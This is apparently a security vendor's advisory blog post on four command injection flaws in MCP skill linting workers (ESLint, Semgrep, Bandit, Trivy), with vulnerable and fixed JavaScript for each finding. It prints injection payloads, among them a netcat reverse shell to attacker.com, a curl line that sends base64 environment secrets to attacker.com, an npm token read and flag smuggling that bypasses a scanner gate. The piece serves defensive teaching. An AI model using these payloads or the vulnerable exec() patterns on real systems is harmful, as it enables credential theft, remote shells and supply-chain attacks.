← Blog

Claude MCP skill code injection — skill static analysis and linting pipeline endpoints (SA-SKL-INJECTION68)

SA-SKL-INJECTION68 identifies four code injection vulnerabilities in MCP skill registry skill static analysis and linting pipeline endpoints. The ESLint linting worker interpolates the user-supplied customRule parameter directly into an exec() shell command string — an attacker who injects ; cat ~/.npmrc exfiltrates all npm authentication tokens from the linting worker's home directory, enabling downstream supply-chain publish attacks to any npm registry that accepts those tokens; the Semgrep analysis worker interpolates the user-supplied configPath into an exec() call without validation — an attacker injects ; nc attacker.com 4444 -e /bin/sh to establish a persistent reverse shell from the linting pipeline worker host; the Bandit Python security analysis worker interpolates the user-supplied configFile without validation — an attacker injects ; printenv to exfiltrate all environment variables including GITHUB_TOKEN, AWS_ACCESS_KEY_ID, and other cloud credentials present in the pipeline worker environment; and the Trivy filesystem scanner interpolates the user-supplied outputFormat into an exec() call — an attacker injects space-separated flags --severity CRITICAL --exit-code 0 to suppress all vulnerability findings and force a zero exit code, allowing any skill to pass the security gate regardless of its actual vulnerability profile.

SA-SKL-INJECTION68 findings at a glance
CRITICALINJECTION68-001 — exec(`eslint --rule '${customRule}' ${filePath}`) — attacker customRule with ; cat ~/.npmrc exfiltrates npm auth tokens enabling supply-chain publish attacks
CRITICALINJECTION68-002 — exec(`semgrep --config ${configPath} ${targetDir}`) — attacker configPath with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from linting pipeline worker
CRITICALINJECTION68-003 — exec(`bandit -c ${configFile} -r ${targetDir}`) — attacker configFile with ; printenv exfiltrates all env vars including GITHUB_TOKEN and cloud credentials
HIGHINJECTION68-004 — exec(`trivy fs --format ${outputFormat} ${targetDir}`) — attacker outputFormat with space-injected --severity CRITICAL --exit-code 0 suppresses all vulnerability findings enabling security gate bypass

INJECTION68-001 — ESLint exec injection exfiltrates npm auth tokens

The linting pipeline runs ESLint on uploaded skill source files, accepting a user-configurable customRule parameter that specifies an inline rule override. The worker constructs the command string by direct interpolation and passes it to Node.js's exec(). Because exec() spawns a shell to interpret the command string, any shell metacharacter in customRule is interpreted by the shell. An attacker who sets customRule to '; cat ~/.npmrc # causes the shell to execute cat ~/.npmrc after the ESLint invocation exits, returning the linting worker's npm authentication tokens in the command output. These tokens allow the attacker to publish to any npm organization registry that the CI worker's npm configuration is authorized for, enabling supply-chain attacks against downstream consumers.

Vulnerable
// INJECTION68-001 — VULNERABLE: customRule interpolated into exec() shell command
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function runEslintLint(filePath, customRule) {
  // VULNERABLE: customRule interpolated directly — shell interprets ; | & etc.
  // attacker customRule: "'; cat ~/.npmrc #" → exfiltrates npm auth tokens
  const cmd = `eslint --rule '${customRule}' ${filePath}`;
  const { stdout, stderr } = await execAsync(cmd);
  return { stdout, stderr };
}
Fixed
// INJECTION68-001 — FIXED: execFile() with arg array; ESLINT_RULE_RE validation; path resolution
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);

const ESLINT_RULE_RE = /^[a-z0-9\-\/]+:\s*\d+$/i;  // e.g. "no-eval: 2"
const LINT_ROOT = '/sandboxes/lint';

async function runEslintLint(filePath, customRule) {
  if (!ESLINT_RULE_RE.test(customRule)) throw new Error('invalid_custom_rule');
  const safeFile = path.resolve(LINT_ROOT, path.basename(filePath));
  if (!safeFile.startsWith(LINT_ROOT + '/')) throw new Error('path_traversal');
  const { stdout, stderr } = await execFileAsync('eslint', ['--rule', customRule, safeFile], {
    env: { PATH: '/usr/bin:/usr/local/bin' }  // strip HOME, NPM_TOKEN, etc.
  });
  return { stdout, stderr };
}

INJECTION68-002 — Semgrep exec injection establishes reverse shell

The static analysis pipeline runs Semgrep on skill source directories with a user-supplied configPath pointing to a Semgrep rule configuration. The worker constructs the command by string interpolation. An attacker who controls configPath and injects $(nc attacker.com 4444 -e /bin/sh) or the equivalent semicolon-delimited command achieves persistent shell access to the linting pipeline worker host, with access to any credentials, secrets, or internal network paths accessible from that host.

Vulnerable
// INJECTION68-002 — VULNERABLE: configPath interpolated into exec()
async function runSemgrepAnalysis(targetDir, configPath) {
  // VULNERABLE: attacker configPath: ". ; nc attacker.com 4444 -e /bin/sh"
  const cmd = `semgrep --config ${configPath} ${targetDir}`;
  const { stdout } = await execAsync(cmd);
  return JSON.parse(stdout);
}
Fixed
// INJECTION68-002 — FIXED: execFile() with arg array; CONFIG_PATH_RE; sandbox confinement
const SEMGREP_CONFIGS_ROOT = '/configs/semgrep';
const CONFIG_PATH_RE = /^[a-z0-9\-_\/\.]+\.ya?ml$/i;

async function runSemgrepAnalysis(targetDir, configPath) {
  if (!CONFIG_PATH_RE.test(configPath)) throw new Error('invalid_config_path');
  const safeConfig = path.resolve(SEMGREP_CONFIGS_ROOT, configPath);
  if (!safeConfig.startsWith(SEMGREP_CONFIGS_ROOT + '/')) throw new Error('path_traversal');
  const safeTarget = path.resolve('/sandboxes/analysis', path.basename(targetDir));
  const { stdout } = await execFileAsync('semgrep', ['--config', safeConfig, safeTarget], {
    env: { PATH: '/usr/bin:/usr/local/bin' }
  });
  return JSON.parse(stdout);
}

INJECTION68-003 — Bandit exec injection exfiltrates cloud credentials from env

The Python security analysis pipeline runs Bandit with a user-supplied configFile path and targetDir. The worker constructs the shell command by interpolation. An attacker who injects ; printenv | base64 | curl -d @- attacker.com into configFile causes the shell to execute the payload after Bandit exits, exfiltrating all environment variables — including GITHUB_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and any other credentials present in the pipeline worker's process environment.

Vulnerable
// INJECTION68-003 — VULNERABLE: configFile interpolated into exec()
async function runBanditAnalysis(targetDir, configFile) {
  // VULNERABLE: attacker configFile: "/tmp/x; printenv > /tmp/env.txt"
  const cmd = `bandit -c ${configFile} -r ${targetDir}`;
  const { stdout } = await execAsync(cmd);
  return JSON.parse(stdout);
}
Fixed
// INJECTION68-003 — FIXED: execFile() with arg array; paths resolved to sandbox roots; env stripped
const BANDIT_CONFIGS_ROOT = '/configs/bandit';
const BANDIT_CONFIG_RE = /^[a-z0-9\-_]+\.ini$/i;

async function runBanditAnalysis(targetDir, configFile) {
  if (!BANDIT_CONFIG_RE.test(configFile)) throw new Error('invalid_bandit_config');
  const safeConfig = path.resolve(BANDIT_CONFIGS_ROOT, configFile);
  if (!safeConfig.startsWith(BANDIT_CONFIGS_ROOT + '/')) throw new Error('path_traversal');
  const safeTarget = path.resolve('/sandboxes/pyanalysis', path.basename(targetDir));
  const { stdout } = await execFileAsync('bandit', ['-c', safeConfig, '-r', safeTarget, '-f', 'json'], {
    env: { PATH: '/usr/bin:/usr/local/bin' }  // no GITHUB_TOKEN, AWS_*, HOME, etc.
  });
  return JSON.parse(stdout);
}

INJECTION68-004 — Trivy space injection suppresses all vulnerability findings

The container and filesystem vulnerability scanner pipeline runs Trivy with a user-supplied outputFormat parameter. The worker interpolates this directly into the shell command. Unlike the previous three injections, this one does not require a semicolon: Trivy accepts multiple flags, and an attacker who injects json --severity CRITICAL --exit-code 0 into outputFormat causes the shell to pass these as additional Trivy arguments that override the registry's intended invocation. The --exit-code 0 flag forces Trivy to exit with status 0 regardless of findings, and --severity CRITICAL limits reporting to only CRITICAL severity — suppressing HIGH, MEDIUM, LOW, and UNKNOWN findings. Any skill submitted with only HIGH-or-below vulnerabilities will now pass the security gate cleanly.

Vulnerable
// INJECTION68-004 — VULNERABLE: outputFormat interpolated — attacker injects extra flags
async function runTrivyScan(targetDir, outputFormat) {
  // VULNERABLE: attacker outputFormat: "json --severity CRITICAL --exit-code 0"
  // → trivy fs --format json --severity CRITICAL --exit-code 0 
  // → exit 0 always; only CRITICAL findings reported → security gate bypass
  const cmd = `trivy fs --format ${outputFormat} ${targetDir}`;
  const { stdout } = await execAsync(cmd);
  return JSON.parse(stdout);
}
Fixed
// INJECTION68-004 — FIXED: execFile() with arg array; FORMAT_RE rejects whitespace and leading dashes
const OUTPUT_FORMAT_RE = /^(json|table|sarif|template)$/i;

async function runTrivyScan(targetDir, outputFormat) {
  if (!OUTPUT_FORMAT_RE.test(outputFormat)) throw new Error('invalid_output_format');
  const safeTarget = path.resolve('/sandboxes/trivy', path.basename(targetDir));
  const { stdout } = await execFileAsync(
    'trivy',
    ['fs', '--format', outputFormat, '--exit-code', '1', '--severity', 'CRITICAL,HIGH,MEDIUM,LOW', safeTarget],
    { env: { PATH: '/usr/bin:/usr/local/bin' } }
  );
  return JSON.parse(stdout);
}

SkillAudit detects all SA-SKL-INJECTION68 patterns — exec() with interpolated parameters, execSync() with template literals, and space-injection flag smuggling in subprocess invocations — via static AST taint analysis. Run a free audit on your MCP skill or Claude plugin.